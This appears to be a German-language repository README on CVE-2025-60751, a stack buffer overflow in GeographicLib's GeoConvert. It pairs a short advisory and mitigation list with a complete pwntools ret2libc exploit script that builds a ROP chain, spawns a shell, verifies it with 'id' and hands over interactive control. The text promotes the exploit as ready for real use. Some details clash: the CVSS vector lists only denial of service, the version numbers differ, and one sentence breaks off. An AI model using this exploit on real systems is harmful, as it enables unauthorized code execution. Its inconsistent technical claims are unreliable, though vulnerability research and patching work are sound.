
Technische Analyse und professioneller Exploit für CVE-2025-60751, einen Stack-basierten Pufferüberlauf in GeographicLib. Enthält einen pwntools-basierten Ret2Libc-Exploit mit dynamischer ROP-Gadget-Erkennung, GDB-Integration und Post-Exploit-Verifizierung für pädagogische Penetrationstests.
📌 Dieses Repository enthält die Analyse und technische Dokumentation der Schwachstelle CVE-2025-60751, eines stapelbasierten Pufferüberlaufs (Stack-based Buffer Overflow) in der C++-Bibliothek GeographicLib.
Die Schwachstelle befindet sich in der Funktion DMS::InternalDecode innerhalb der Komponente GeoConvert.
Der Fehler tritt auf, wenn die Bibliothek versucht, fehlerhafte oder übermäßig lange Koordinatenketten im Format DMS (Grad, Minuten, Sekunden) zu verarbeiten, was zu einem Schreiben außerhalb der Grenzen des auf dem Stapel zugewiesenen Puffers führt.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow ()7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HEin entfernter Angreifer kann eine speziell gestaltete Koordinatenkette senden, um:
GeographicLib zur Koordinatenumwandlung verwenden.⚠️ Technischer Hinweis: Obwohl sich der aktuelle Vektor auf Verfügbarkeit (
A:H) konzentriert, könnte dieser Fehler in bestimmten Umgebungen ohne moderne Speicherschutzmechanismen (wie Stack Canaries, NX-Bit oder ASLR) möglicherweise zu beliebiger Codeausführung eskalieren.
| Produkt | Verwundbare Version | Erkannte Distributionen |
|---|---|---|
GeographicLib | 2.5 | Pakete in Debian LTS, Ubuntu und anderen Linux-Repositorien, die diese Version enthalten |
✅ Aktualisierung: Es wird dringend empfohlen, auf die neueste verfügbare Version von GeographicLib zu aktualisieren, in der die Längenvalidierung in InternalDecode korrigiert wurde.
✅ Eingabevalidierung: Falls eine Aktualisierung nicht möglich ist, implementieren Sie eine Bereinigungsschicht, die die Länge der an DMS::Decode gesendeten Zeichenketten begrenzt (z. B. max. 32 Zeichen).
✅ Sichere Kompilierung: Stellen Sie sicher, dass Sie die Bibliothek mit Stack-Schutz-Flags kompilieren:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattDieser Exploit verwendet pwntools, um einen Ret2Libc-Angriff unter Ausnutzung des Pufferüberlaufs durchzuführen.
Im Gegensatz zu Basisversionen ist diese Implementierung robust, dynamisch und überprüfbar und bereit für reale Pentesting- und Laborumgebungen.
| Eigenschaft | Nutzen |
|---|---|
Dynamisches ROP(elf) | Hängt nicht von hartcodierten Gadgets ab: findet sie automatisch im Binärlauf. |
Integrierter Support für GDB | Führt python exploit.py GDB aus → öffnet automatisch eine Debugging-Sitzung. |
| Post-Exploit-Überprüfung | Sendet id und bestätigt Shell, bevor die interaktive Kontrolle übergeben wird. |
RET für Stack-Ausrichtung | Vermeidet Abstürze in system() aufgrund falscher Ausrichtung (entscheidend auf x64). |
Payload als list + b"".join() strukturiert | Sauber, lesbar, einfach zu modifizieren und zu erweitern. |
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Haftungsausschluss
Dieses Repository dient ausschließlich Informations- und Bildungszwecken für Cybersicherheitsfachleute.
Die Verwendung dieser Informationen für illegale Zwecke liegt in der alleinigen Verantwortung des Benutzers.
❗ Verwende den Code mit Vorsicht: nur in autorisierten, isolierten Umgebungen mit ausdrücklicher Genehmigung.
🔐 Sicherheit ist keine Eigenschaft – es ist eine Disziplin.
📬 Fundmeldung: [email protected]
📦 Offizielles Repository: https://github.com/geographiclib/geographiclib